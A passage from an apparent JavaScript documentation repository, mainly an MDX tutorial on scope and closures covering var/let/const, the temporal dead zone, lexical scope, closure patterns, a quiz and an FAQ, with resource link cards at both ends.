specific syntax. 46k+ GitHub stars. </Card> <Card title="Regular Expressions — Eloquent JavaScript" icon="newspaper" href="https://eloquentjavascript.net/09_regexp.html"> Chapter from the classic free JavaScript book. Explains the theory and mechanics behind regex with elegant examples. </Card> <Card title="A Practical Guide to Regular Expressions" icon="newspaper" href="https://www.freecodecamp.org/news/practical-regex-guide-with-real-life-examples/"> Hands-on freeCodeCamp guide focused on real-world use cases like log parsing, file renaming, and form validation. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Learn Regular Expressions In 20 Minutes" icon="video" href="https://www.youtube.com/watch?v=rhzKDrUiJVk"> Web Dev Simplified covers all the essentials without filler. Great if you want to learn regex quickly and start using it. </Card> <Card title="Regular Expressions (Regex) in JavaScript" icon="video" href="https://www.youtube.com/watch?v=909NfO1St0A"> Fireship's fast-paced 100 seconds style overview. Perfect for a quick refresher or introduction to what regex can do. </Card> <Card title="JavaScript Regex — Programming with Mosh" icon="video" href="https://www.youtube.com/watch?v=VrT3TRDDE4M"> Mosh Hamedani's beginner-friendly walkthrough with practical JavaScript examples you can follow along with. </Card> </CardGroup> ## Tools <CardGroup cols={2}> <Card title="regex101" icon="flask" href="https://regex101.com/"> Interactive regex tester with real-time explanation of your pattern. Shows match groups, explains each part, and lets you test against sample text. </Card> <Card title="RegExr" icon="wand-magic-sparkles" href="https://regexr.com/"> Visual regex editor with community patterns and a helpful cheatsheet sidebar. Great for learning and building patterns. </Card> <Card title="Regexlearn" icon="graduation-cap" href="https://regexlearn.com/"> Interactive step-by-step tutorial that teaches regex through practice. Gamified learning with progressive difficulty. </Card> </CardGroup> ================================================ FILE: docs/concepts/scope-and-closures.mdx ================================================ --- title: "Scope & Closures" sidebarTitle: "Scope and Closures: How Variables Really Work" description: "Learn JavaScript scope and closures. Understand the three types of scope, var vs let vs const, lexical scoping, the scope chain, and closure patterns for data privacy." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "JavaScript Fundamentals" "article:tag": "javascript closures, javascript scope, var let const, lexical scope, scope chain, closure patterns" --- Why can some variables be accessed from anywhere in your code, while others seem to disappear? How do functions "remember" variables from their parent functions, even after those functions have finished running? ```javascript function createCounter() { let count = 0 // This variable is "enclosed" return function() { count++ return count } } const counter = createCounter() console.log(counter()) // 1 console.log(counter()) // 2 — it remembers! ``` The answers lie in understanding **scope** and **closures**. These two fundamental concepts govern how variables work in JavaScript. Scope determines *where* variables are visible, while closures allow functions to *remember* their original environment. <Info> **What you'll learn in this guide:** - The 3 types of scope: global, function, and block - How [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var), [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), and [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const) behave differently - What lexical scope means and how the scope chain works - What closures are and why every JavaScript developer must understand them - Practical patterns: data privacy, factories, and memoization - The classic closure gotchas and how to avoid them </Info> <Warning> **Prerequisite:** This guide builds on your understanding of the [call stack](/concepts/call-stack). Knowing how JavaScript tracks function execution will help you understand how scope and closures work under the hood. </Warning> --- ## What is Scope in JavaScript? **[Scope](https://developer.mozilla.org/en-US/docs/Glossary/Scope)** is the current context of execution in which values and expressions are "visible" or can be referenced. It's the set of rules that determines where and how variables can be accessed in your code. If a variable is not in the current scope, it cannot be used. Scopes can be nested, and inner scopes have access to outer scopes, but not vice versa. --- ## The Office Building Analogy Imagine it's after hours and you're wandering through your office building (legally, you work there, promise). You notice something interesting about what you can and can't see: - **Inside your private office**, you can see everything on your desk, peek into the hallway through your door, and even see the lobby through the glass walls - **In the hallway**, you can see the lobby clearly, but those private offices? Their blinds are shut. No peeking allowed - **In the lobby**, you're limited to just what's there: the reception desk, some chairs, maybe a sad-looking plant ``` ┌─────────────────────────────────────────────────────────────┐ │ LOBBY (Global Scope) │ │ reception = "Welcome Desk" │ │ │ │ ┌───────────────────────────────────────────────────┐ │ │ │ HALLWAY (Function Scope) │ │ │ │ hallwayPlant = "Fern" │ │ │ │ │ │ │ │ ┌───────────────────────────────────────┐ │ │ │ │ │ PRIVATE OFFICE (Block Scope) │ │ │ │ │ │ secretDocs = "Confidential" │ │ │ │ │ │ │ │ │ │ │ │ Can see: secretDocs ✓ │ │ │ │ │ │ Can see: hallwayPlant ✓ │ │ │ │ │ │ Can see: reception ✓ │ │ │ │ │ └───────────────────────────────────────┘ │ │ │ │ │ │ │ │ Cannot see: secretDocs ✗ │ │ │ └───────────────────────────────────────────────────┘ │ │ │ │ Cannot see: hallwayPlant, secretDocs ✗ │ └─────────────────────────────────────────────────────────────┘ ``` This is exactly how **scope** works in JavaScript! Code in inner scopes can "look out" and access variables from outer scopes, but outer scopes can never "look in" to inner scopes. And here's where it gets really interesting: imagine someone who worked in that private office quits and leaves the building. But they took a mental snapshot of everything in there: the passwords on sticky notes, the secret project plans, the snack drawer location. Even though they've left, they still *remember* everything. That's essentially what a **closure** is: a function that "remembers" the scope where it was created, even after that scope is gone. ### Why Does Scope Exist? Scope exists for three critical reasons: <AccordionGroup> <Accordion title="1. Preventing Naming Conflicts"> Without scope, every variable would be global. Imagine the chaos if every `i` in every `for` loop had to have a unique name! ```javascript function countApples() { let count = 0; // This 'count' is separate... // ... } function countOranges() { let count = 0; // ...from this 'count' // ... } ``` </Accordion> <Accordion title="2. Memory Management"> When a scope ends, variables declared in that scope can be [garbage collected](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management#garbage_collection) (cleaned up from memory). This keeps your program efficient. ```javascript function processData() { let hugeArray = new Array(1000000); // Takes memory // ... process it } // hugeArray can now be garbage collected ``` </Accordion> <Accordion title="3. Encapsulation & Security"> Scope allows you to hide implementation details and protect data from being accidentally modified. ```javascript function createBankAccount() { let balance = 0; // Private! Can't be accessed directly return { deposit(amount) { balance += amount; }, getBalance() { return balance; } }; } ``` </Accordion> </AccordionGroup> --- ## The Three Types of Scope JavaScript has three main types of scope. Understanding each one is fundamental to writing predictable code. <Note> ES6 modules also introduce **module scope**, where top-level variables are scoped to the module rather than being global. Learn more in our [IIFE, Modules and Namespaces](/concepts/iife-modules) guide. </Note> ### 1. Global Scope Variables declared outside of any function or block are in the **global scope**. They're accessible from anywhere in your code. ```javascript // Global scope const appName = "MyApp"; let userCount = 0; function greet() { console.log(appName); // ✓ Can access global variable userCount++; // ✓ Can modify global variable } if (true) { console.log(appName); // ✓ Can access global variable } ``` #### The Global Object In browsers, global variables become properties of the [`window`](https://developer.mozilla.org/en-US/docs/Web/API/Window) object. In Node.js, they attach to `global`. The modern, universal way to access the global object is [`globalThis`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis). ```javascript var oldSchool = "I'm on window"; // window.oldSchool (var only) let modern = "I'm NOT on window"; // NOT on window console.log(window.oldSchool); // "I'm on window" console.log(window.modern); // undefined console.log(globalThis); // Works everywhere ``` <Warning> **Avoid Global Pollution!** Too many global variables lead to naming conflicts, hard-to-track bugs, and code that's difficult to maintain. Keep your global scope clean. ```javascript // Bad: Polluting global scope var userData = {}; var settings = {}; var helpers = {}; // Good: Use a single namespace const MyApp = { userData: {}, settings: {}, helpers: {} }; ``` </Warning> --- ### 2. Function Scope Variables declared with [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var) inside a function are **function-scoped**. They're only accessible within that function. ```javascript function calculateTotal() { var subtotal = 100; var tax = 10; var total = subtotal + tax; console.log(total); // ✓ 110 } calculateTotal(); // console.log(subtotal); // ✗ ReferenceError: subtotal is not defined ``` #### var Hoisting Variables declared with `var` are "hoisted" to the top of their function. This means JavaScript knows about them before the code runs, but they're initialized as `undefined` until the actual declaration line. ```javascript function example() { console.log(message); // undefined (not an error!) var message = "Hello"; console.log(message); // "Hello" } // JavaScript interprets this as: function exampleHoisted() { var message; // Declaration hoisted to top console.log(message); // undefined message = "Hello"; // Assignment stays in place console.log(message); // "Hello" } ``` <Tip> **Hoisting Visualization:** ``` Your code: How JS sees it: ┌─────────────────────┐ ┌─────────────────────┐ │ function foo() { │ │ function foo() { │ │ │ │ var x; // hoisted│ │ console.log(x); │ ──► │ console.log(x); │ │ var x = 5; │ │ x = 5; │ │ } │ │ } │ └─────────────────────┘ └─────────────────────┘ ``` </Tip> --- ### 3. Block Scope Variables declared with [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let) and [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const) are **block-scoped**. A block is any code within curly braces `{}`: if statements, for loops, while loops, or just standalone blocks. ```javascript if (true) { let blockLet = "I'm block-scoped"; const blockConst = "Me too"; var functionVar = "I escape the block!"; } // console.log(blockLet); // ✗ ReferenceError // console.log(blockConst); // ✗ ReferenceError console.log(functionVar); // ✓ "I escape the block!" ``` #### The Temporal Dead Zone (TDZ) Unlike `var`, variables declared with `let` and `const` are not initialized until their declaration is evaluated. Accessing them before declaration causes a [`ReferenceError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError). This period is called the **Temporal Dead Zone**. ```javascript function demo() { // TDZ for 'name' starts here console.log(name); // ReferenceError: Cannot access 'name' before initialization let name = "Alice"; // TDZ ends here console.log(name); // "Alice" } ``` ``` ┌────────────────────────────────────────────────────────────┐ │ │ │ function demo() { │ │ │ │ ┌────────────────────────────────────────────────┐ │ │ │ TEMPORAL DEAD ZONE │ │ │ │ │ │ │ │ 'name' exists but cannot be accessed yet! │ │ │ │ │ │ │ │ console.log(name); // ReferenceError │ │ │ │ │ │ │ └────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ let name = "Alice"; // TDZ ends here │ │ │ │ console.log(name); // "Alice" - works fine! │ │ │ │ } │ │ │ └────────────────────────────────────────────────────────────┘ ``` <Note> The TDZ exists to catch programming errors. It's actually a good thing! It prevents you from accidentally using variables before they're ready. </Note> --- ## var vs let vs const Here's a comprehensive comparison of the three variable declaration keywords: | Feature | `var` | `let` | `const` | |---------|-------|-------|---------| | **Scope** | Function | Block | Block | | **Hoisting** | Yes (initialized as `undefined`) | Yes (but TDZ) | Yes (but TDZ) | | **Redeclaration** | ✓ Allowed | ✗ Error | ✗ Error | | **Reassignment** | ✓ Allowed | ✓ Allowed | ✗ Error | | **Must Initialize** | No | No | Yes | <Tabs> <Tab title="Redeclaration"> ```javascript // var allows redeclaration (can cause bugs!) var name = "Alice"; var name = "Bob"; // No error, silently overwrites console.log(name); // "Bob" // let and const prevent redeclaration let age = 25 // let age = 30 // SyntaxError: 'age' has already been declared const PI = 3.14 // const PI = 3.14159 // SyntaxError ``` </Tab> <Tab title="Reassignment"> ```javascript // var and let allow reassignment var count = 1; count = 2; // ✓ Fine let score = 100; score = 200; // ✓ Fine // const prevents reassignment const API_KEY = "abc123" // API_KEY = "xyz789" // TypeError: Assignment to constant variable // BUT: const objects/arrays CAN be mutated! const user = { name: "Alice" } user.name = "Bob" // ✓ This works! user.age = 25 // ✓ This works too! // user = {} // ✗ This fails (reassignment) ``` </Tab> <Tab title="Hoisting Behavior"> ```javascript function hoistingDemo() { // var: hoisted and initialized as undefined console.log(a); // undefined var a = 1; // let: hoisted but NOT initialized (TDZ) // console.log(b); // ReferenceError! let b = 2; // const: same as let // console.log(c); // ReferenceError! const c = 3; } ``` </Tab> </Tabs> ### The Classic for-loop Problem This is one of the most common JavaScript gotchas, and it perfectly illustrates why `let` is preferred over `var`: ```javascript // The Problem: var is function-scoped for (var i = 0; i < 3; i++) { setTimeout(() => { console.log(i) }, 100) } // Output: 3, 3, 3 (not 0, 1, 2!) // Why? There's only ONE 'i' variable shared across all iterations. // By the time the setTimeout callbacks run, the loop has finished and i === 3. ``` The [`setTimeout()`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) callbacks all close over the same `i` variable, which equals `3` by the time they execute. (To understand why the callbacks don't run immediately, see our [Event Loop](/concepts/event-loop) guide.) ```javascript // The Solution: let is block-scoped for (let i = 0; i < 3; i++) { setTimeout(() => { console.log(i) }, 100) } // Output: 0, 1, 2 (correct!) // Why? Each iteration gets its OWN 'i' variable. // Each setTimeout callback closes over a different 'i'. ``` <Tip> **Modern Best Practice:** 1. Use `const` by default 2. Use `let` when you need to reassign 3. Avoid `var` entirely (legacy code only) This approach catches bugs at compile time and makes your intent clear. </Tip> --- ## Lexical Scope **Lexical scope** (also called **static scope**) means that the scope of a variable is determined by its position in the source code, not by how functions are called at runtime. As Kyle Simpson explains in *You Don't Know JS: Scope & Closures*, lexical scope is determined at "lex-time" — the time when the code is being parsed — which is why it is also called "static" scope. ```javascript const outer = "I'm outside!"; function outerFunction() { const middle = "I'm in the middle!"; function innerFunction() { const inner = "I'm inside!"; // innerFunction can access all three variables console.log(inner); // ✓ Own scope console.log(middle); // ✓ Parent scope console.log(outer); // ✓ Global scope } innerFunction(); // console.log(inner); // ✗ ReferenceError } outerFunction(); // console.log(middle); // ✗ ReferenceError ``` ### The Scope Chain When JavaScript needs to find a variable, it walks up the **scope chain**. It starts from the current scope and moves outward until it finds the variable or reaches the global scope. <Steps> <Step title="Look in Current Scope"> JavaScript first checks if the variable exists in the current function/block scope. </Step> <Step title="Look in Parent Scope"> If not found, it checks the enclosing (parent) scope. </Step> <Step title="Continue Up the Chain"> This process continues up through all ancestor scopes. </Step> <Step title="Reach Global Scope"> Finally, it checks the global scope. If still not found, a `ReferenceError` is thrown. </Step> </Steps> ``` Variable Lookup: Where is 'x'? ┌─────────────────────────────────────────────────┐ │ Global Scope │ │ x = "global" │ │ │ │ ┌─────────────────────────────────────────┐ │ │ │ outer() Scope │ │ │ │ x = "outer" │ │ │ │ │ │ │ │ ┌─────────────────────────────────┐ │ │ │ │ │ inner() Scope │ │ │ │ │ │ │ │ │ │ │ │ console.log(x); │ │ │ │ │ │ │ │ │ │ │ │ │ ▼ │ │ │ │ │ │ 1. Check inner() → not found │ │ │ │ │ │ │ │ │ │ │ │ └─────────│───────────────────────┘ │ │ │ │ ▼ │ │ │ │ 2. Check outer() → FOUND! "outer" │ │ │ │ │ │ │ └─────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────┘ Result: "outer" ``` ### Variable Shadowing When an inner scope declares a variable with the same name as an outer scope, the inner variable "shadows" the outer one: ```javascript const name = "Global"; function greet() { const name = "Function"; // Shadows global 'name' if (true) { const name = "Block"; // Shadows function 'name' console.log(name); // "Block" } console.log(name); // "Function" } greet(); console.log(name); // "Global" ``` <Warning> Shadowing can be confusing. While sometimes intentional, accidental shadowing is a common source of bugs. Many linters warn about this. </Warning> --- ## What is a Closure in JavaScript? A **[closure](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Closures)** is the combination of a function bundled together with references to its surrounding state (the lexical environment). According to MDN, a closure gives a function access to variables from an outer (enclosing) scope, even after that outer function has finished executing and returned. Every function in JavaScript creates a closure at creation time. Remember our office building analogy? A closure is like someone who worked in the private office, left the building, but still remembers exactly where everything was, and can still use that knowledge! ### Every Function Creates a Closure In JavaScript, closures are created automatically every time you create a function. The function maintains a reference to its lexical environment. ```javascript function createGreeter(greeting) { // 'greeting' is in createGreeter's scope return function(name) { // This inner function is a closure! // It "closes over" the 'greeting' variable console.log(`${greeting}, ${name}!`); }; } const sayHello = createGreeter("Hello"); const sayHola = createGreeter("Hola"); // createGreeter has finished executing, but... sayHello("Alice"); // "Hello, Alice!" sayHola("Bob"); // "Hola, Bob!" // The inner functions still remember their 'greeting' values! ``` ### How Closures Work: Step by Step <Steps> <Step title="Outer Function is Called"> `createGreeter("Hello")` is called. A new execution context is created with `greeting = "Hello"`. </Step> <Step title="Inner Function is Created"> The inner function is created. It captures a reference to the current lexical environment (which includes `greeting`). </Step> <Step title="Outer Function Returns"> `createGreeter` returns the inner function and its execution context is (normally) cleaned up. </Step> <Step title="But the Closure Survives!"> Because the inner function holds a reference to the lexical environment, the `greeting` variable is NOT garbage collected. It survives! </Step> <Step title="Closure is Invoked Later"> When `sayHello("Alice")` is called, the function can still access `greeting` through its closure. </Step> </Steps> ``` After createGreeter("Hello") returns: ┌──────────────────────────────────────┐ │ sayHello (Function) │ ├──────────────────────────────────────┤ │ [[Code]]: function(name) {...} │ │ │ │ [[Environment]]: ────────────────────────┐ └──────────────────────────────────────┘ │ ▼ ┌────────────────────────────┐ │ Lexical Environment │ │ (Kept alive by closure!) │ ├────────────────────────────┤ │ greeting: "Hello" │ └────────────────────────────┘ ``` --- ## Closures in the Wild Closures aren't just a theoretical concept. You'll use them every day. Here are the patterns that make closures so powerful. ### 1. Data Privacy & Encapsulation Closures let you create truly private variables in JavaScript: ```javascript function createCounter() { let count = 0; // Private variable - no way to access directly! return { increment() { count++; return count; }, decrement() { count--; return count; }, getCount() { return count; } }; } const counter = createCounter(); console.log(counter.getCount()); // 0 console.log(counter.increment()); // 1 console.log(counter.increment()); // 2 console.log(counter.decrement()); // 1 // There's NO way to access 'count' directly! console.log(counter.count); // undefined ``` <Tip> This pattern is the foundation of the **Module Pattern**, widely used before ES6 modules became available. Learn more in our [IIFE, Modules and Namespaces](/concepts/iife-modules) guide. </Tip> ### 2. Function Factories Closures let you create specialized functions on the fly: ```javascript function createMultiplier(multiplier) { return function(number) { return number * multiplier; }; } const double = createMultiplier(2); const triple = createMultiplier(3); const tenX = createMultiplier(10); console.log(double(5)); // 10 console.log(triple(5)); // 15 console.log(tenX(5)); // 50 // Each function "remembers" its own multiplier ``` This pattern works great with the [Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) for creating reusable API clients: ```javascript // Real-world example: API request factories function createApiClient(baseUrl) { return { get(endpoint) { return fetch(`${baseUrl}${endpoint}`); }, post(endpoint, data) { return fetch(`${baseUrl}${endpoint}`, { method: 'POST', body: JSON.stringify(data) }); } }; } const githubApi = createApiClient('https://api.github.com'); const myApi = createApiClient('https://myapp.com/api'); // Each client remembers its baseUrl githubApi.get('/users/leonardomso'); myApi.get('/users/1'); ``` ### 3. Preserving State in Callbacks & Event Handlers Closures are essential for maintaining state in asynchronous code. When you use [`addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener) to attach event handlers, those handlers can close over variables from their outer scope: ```javascript function setupClickCounter(buttonId) { let clicks = 0; // This variable persists across clicks! const button = document.getElementById(buttonId); button.addEventListener('click', function() { clicks++; console.log(`Button clicked ${clicks} time${clicks === 1 ? '' : 's'}`); }); } setupClickCounter('myButton'); // Each click increments the same 'clicks' variable // Click 1: "Button clicked 1 time" // Click 2: "Button clicked 2 times" // Click 3: "Button clicked 3 times" ``` ### 4. Memoization (Caching Results) Closures enable efficient caching of expensive computations: ```javascript function createMemoizedFunction(fn) { const cache = {}; // Cache persists across calls! return function(arg) { if (arg in cache) { console.log('Returning cached result'); return cache[arg]; } console.log('Computing result'); const result = fn(arg); cache[arg] = result; return result; }; } // Expensive operation: calculate factorial function factorial(n) { if (n <= 1) return 1; return n * factorial(n - 1); } const memoizedFactorial = createMemoizedFunction(factorial); console.log(memoizedFactorial(5)); // Computing result → 120 console.log(memoizedFactorial(5)); // Returning cached result → 120 console.log(memoizedFactorial(5)); // Returning cached result → 120 ``` --- ## Common Mistakes and Pitfalls Understanding scope and closures means understanding where things go wrong. These are the mistakes that trip up even experienced developers. ### The #1 Closure Interview Question This is the classic closure trap. Almost everyone gets it wrong the first time: ### The Problem ```javascript // What does this print? for (var i = 0; i < 3; i++) { setTimeout(function() { console.log(i); }, 1000); } // Most people expect: 0, 1, 2 // Actual output: 3, 3, 3 ``` ### Why Does This Happen? ``` What actually happens: TIME ════════════════════════════════════════════════════► ┌─────────────────────────────────────────────────────────┐ │ IMMEDIATELY (milliseconds): │ │ │ │ Loop iteration 1: i = 0, schedule callback │ │ Loop iteration 2: i = 1, schedule callback │ │ Loop iteration 3: i = 2, schedule callback │ │ Loop ends: i = 3 │ │ │ │ All 3 callbacks point to the SAME 'i' variable ──┐ │ └─────────────────────────────────────────────────────│───┘ │ ▼ ┌─────────────────────────────────────────────────────────┐ │ ~1 SECOND LATER: │ │ │ │ callback1 runs: "What's i?" → i is 3 → prints 3 │ │ callback2 runs: "What's i?" → i is 3 → prints 3 │ │ callback3 runs: "What's i?" → i is 3 → prints 3 │ │ │ └─────────────────────────────────────────────────────────┘ Result: 3, 3, 3 (not 0, 1, 2!) ``` ### The Solutions <Tabs> <Tab title="Solution 1: Use let"> The simplest modern solution. `let` creates a new binding for each iteration: ```javascript for (let i = 0; i < 3; i++) { setTimeout(function() { console.log(i); }, 1000); } // Output: 0, 1, 2 ✓ ``` </Tab> <Tab title="Solution 2: IIFE"> Pre-ES6 solution using an Immediately Invoked Function Expression: ```javascript for (var i = 0; i < 3; i++) { (function(j) { setTimeout(function() { console.log(j); }, 1000); })(i); // Pass i as argument, creating a new 'j' each time } // Output: 0, 1, 2 ✓ ``` </Tab> <Tab title="Solution 3: forEach"> Using array methods, which naturally create new scope per iteration: ```javascript [0, 1, 2].forEach(function(i) { setTimeout(function() { console.log(i); }, 1000); }); // Output: 0, 1, 2 ✓ ``` </Tab> </Tabs> ### Memory Leaks from Closures Closures are powerful, but they come with responsibility. Since closures keep references to their outer scope variables, those variables can't be [garbage collected](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management#garbage_collection). ### Potential Memory Leaks ```javascript function createHeavyClosure() { const hugeData = new Array(1000000).fill('x'); // Large data return function() { // This reference to hugeData keeps the entire array in memory console.log(hugeData.length); }; } const leakyFunction = createHeavyClosure(); // hugeData is still in memory because the closure references it ``` <Note> Modern JavaScript engines like V8 can optimize closures that don't actually use outer variables. However, it's best practice to assume referenced variables are retained and explicitly clean up large data when you're done with it. </Note> ### Breaking Closure References When you're done with a closure, explicitly break the reference. Use [`removeEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener) to clean up event handlers: ```javascript function setupHandler(element) { // Imagine this returns a large dataset const largeData = { users: new Array(10000).fill({ name: 'User' }) }; const handler = function() { console.log(`Processing ${largeData.users.length} users`); }; element.addEventListener('click', handler); // Return a cleanup function return function cleanup() { element.removeEventListener('click', handler); // Now handler and largeData can be garbage collected }; } const button = document.getElementById('myButton'); const cleanup = setupHandler(button); // Later, when you're done with this functionality: cleanup(); // Removes listener, allows memory to be freed ``` <Tip> **Best Practices:** 1. Don't capture more than you need in closures 2. Set closure references to `null` when done 3. Remove event listeners when components unmount 4. Be especially careful in loops and long-lived applications </Tip> --- ## Key Takeaways <Info> **The key things to remember about Scope & Closures:** 1. **Scope = Variable Visibility** — It determines where variables can be accessed 2. **Three types of scope**: Global (everywhere), Function (`var`), Block (`let`/`const`) 3. **Lexical scope is static** — Determined by code position, not runtime behavior 4. **Scope chain** — JavaScript looks up variables from inner to outer scope 5. **`let` and `const` are block-scoped** — Prefer them over `var` 6. **Temporal Dead Zone** — `let`/`const` can't be accessed before declaration 7. **Closure = Function + Its Lexical Environment** — Functions "remember" where they were created 8. **Closures enable**: Data privacy, function factories, stateful callbacks, memoization 9. **Watch for the loop gotcha** — Use `let` instead of `var` in loops with async callbacks 10. **Mind memory** — Closures keep references alive; clean up when done </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What are the three types of scope in JavaScript?"> **Answer:** 1. **Global Scope** — Variables declared outside any function or block; accessible everywhere 2. **Function Scope** — Variables declared with `var` inside a function; accessible only within that function 3. **Block Scope** — Variables declared with `let` or `const` inside a block `{}`; accessible only within that block ```javascript const global = "everywhere"; // Global scope function example() { var functionScoped = "function"; // Function scope if (true) { let blockScoped = "block"; // Block scope } } ``` </Accordion> <Accordion title="Question 2: What is the Temporal Dead Zone?"> **Answer:** The Temporal Dead Zone (TDZ) is the period between entering a scope and the actual declaration of a `let` or `const` variable. During this time, the variable exists but cannot be accessed. Doing so throws a `ReferenceError`. ```javascript function example() { // TDZ starts for 'x' console.log(x); // ReferenceError! // TDZ continues... let x = 10; // TDZ ends console.log(x); // 10 ✓ } ``` The TDZ helps catch bugs where you accidentally use variables before they're initialized. </Accordion> <Accordion title="Question 3: What is lexical scope?"> **Answer:** Lexical scope (also called static scope) means that the accessibility of variables is determined by their physical position in the source code at write time, not by how or where functions are called at runtime. Inner functions have access to variables declared in their outer functions because of where they are written, not because of when they're invoked. ```javascript function outer() { const message = "Hello"; function inner() { console.log(message); // Can access 'message' because of lexical scope } return inner; } const fn = outer(); fn(); // "Hello" — still works even though outer() has returned ``` </Accordion> <Accordion title="Question 4: What is a closure?"> **Answer:** A closure is a function combined with references to its surrounding lexical environment. In simpler terms, a closure is a function that "remembers" the variables from the scope where it was created, even when executed outside that scope. ```javascript function createCounter() { let count = 0; // This variable is "enclosed" in the closure return function() { count++; return count; }; } const counter = createCounter(); console.log(counter()); // 1 console.log(counter()); // 2 // 'count' persists because of the closure ``` Every function in JavaScript creates a closure. The term usually refers to situations where this behavior is notably useful or surprising. </Accordion> <Accordion title="Question 5: What will this code output and why?"> ```javascript for (var i = 0; i < 3; i++) { setTimeout(() => console.log(i), 100); } ``` **Answer:** It outputs `3, 3, 3`. **Why?** Because `var` is function-scoped (not block-scoped), there's only ONE `i` variable shared across all iterations. By the time the `setTimeout` callbacks execute (after ~100ms), the loop has already completed and `i` equals `3`. **Fix:** Use `let` instead of `var`: ```javascript for (let i = 0; i < 3; i++) { setTimeout(() => console.log(i), 100); } // Outputs: 0, 1, 2 ``` With `let`, each iteration gets its own `i` variable, and each callback closes over a different value. </Accordion> <Accordion title="Question 6: When would you use a closure in real code?"> **Answer:** Common practical uses for closures include: 1. **Data Privacy** — Creating private variables that can't be accessed directly: ```javascript function createWallet(initial) { let balance = initial; return { spend(amount) { balance -= amount; }, getBalance() { return balance; } }; } ``` 2. **Function Factories** — Creating specialized functions: ```javascript function createTaxCalculator(rate) { return (amount) => amount * rate; } const calculateVAT = createTaxCalculator(0.20); ``` 3. **Maintaining State in Callbacks** — Event handlers, timers, API calls: ```javascript function setupLogger(prefix) { return (message) => console.log(`[${prefix}] ${message}`); } ``` 4. **Memoization/Caching** — Storing computed results: ```javascript function memoize(fn) { const cache = {}; return (arg) => cache[arg] ?? (cache[arg] = fn(arg)); } ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between scope and closures in JavaScript?"> Scope defines where a variable can be accessed in your code. A closure is what happens when a function keeps access to variables from its outer lexical scope even after that outer function returns. In short: scope is the rulebook, closure is a practical behavior created by those rules. </Accordion> <Accordion title="Why should I use let and const instead of var?"> `let` and `const` are block-scoped, so they reduce accidental leaks and make intent clearer. `const` communicates that the binding should not be reassigned, while `let` is for values that change. `var` is function-scoped and hoisted in ways that often produce bugs, especially inside loops and conditionals. </Accordion> <Accordion title="How do closures work in JavaScript?"> A function closes over the variables available where it was defined, not where it is called. When that function runs later, JavaScript still resolves those captured variables through the saved lexical environment. ```javascript function makeGreeter(name) { return function greet() { return `Hi, ${name}`; }; } ``` </Accordion> <Accordion title="What are common use cases for closures?"> Common uses include data privacy, function factories, memoization, and stateful callbacks. As Kyle Simpson explains in *You Don't Know JS: Scope & Closures*, closures are not a niche feature; they are a core part of how JavaScript functions work. You will use closures any time a callback needs to remember context. </Accordion> <Accordion title="What is lexical scope vs dynamic scope?"> JavaScript uses lexical scope, which means variable access is decided by where code is written in the file. Dynamic scope would decide variable access based on the call stack at runtime, but JavaScript does not use that model. This is why moving a function changes what it can access, even if calls stay the same. </Accordion> <Accordion title="Can closures cause memory leaks?"> Closures can keep objects in memory longer than expected if they retain references you no longer need. This is most common with long-lived event listeners and timers that capture large data structures. In the 2023 State of JS survey, many developers still reported debugging memory/performance issues, so cleaning up listeners and limiting captured data is an important habit. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Call Stack" icon="layer-group" href="/concepts/call-stack"> How JavaScript tracks function execution and manages scope </Card> <Card title="Hoisting" icon="arrow-up" href="/beyond/concepts/hoisting"> Deep dive into how JavaScript hoists declarations </Card> <Card title="IIFE, Modules and Namespaces" icon="box" href="/concepts/iife-modules"> Patterns that leverage scope for encapsulation </Card> <Card title="this, call, apply and bind" icon="bullseye" href="/concepts/this-call-apply-bind"> Understanding execution context alongside scope </Card> <Card title="Higher Order Functions" icon="arrows-repeat" href="/concepts/higher-order-functions"> Functions that return functions often create closures </Card> <Card title="Currying & Composition" icon="wand-magic-sparkles" href="/concepts/currying-composition"> Advanced patterns built on closures </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Closures — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Closures"> Official MDN documentation on closures and lexical scoping </Card> <Card title="Scope — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Scope"> MDN glossary entry explaining scope in JavaScript </Card> <Card title="var — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var"> Reference for the var keyword, function scope, and hoisting </Card> <Card title="let — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let"> Reference for the let keyword and block scope </Card> <Card title="const — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const"> Reference for the const keyword and immutable bindings </Card> <Card title="Closures — JavaScript.Info" icon="book" href="https://javascript.info/closure"> In-depth tutorial on closures and lexical environment </Card> </CardGroup> ## Books <Card title="You Don't Know JS Yet: Scope & Closures — Kyle Simpson" icon="book" href="https://github.com/getify/You-Dont-Know-JS/tree/2nd-ed/scope-closures"> The definitive deep-dive into JavaScript scope and closures. Free to read online. This book will transform your understanding of how JavaScript really works. </Card> ## Articles <CardGroup cols={2}> <Card title="Var, Let, and Const – What's the Difference?" icon="newspaper" 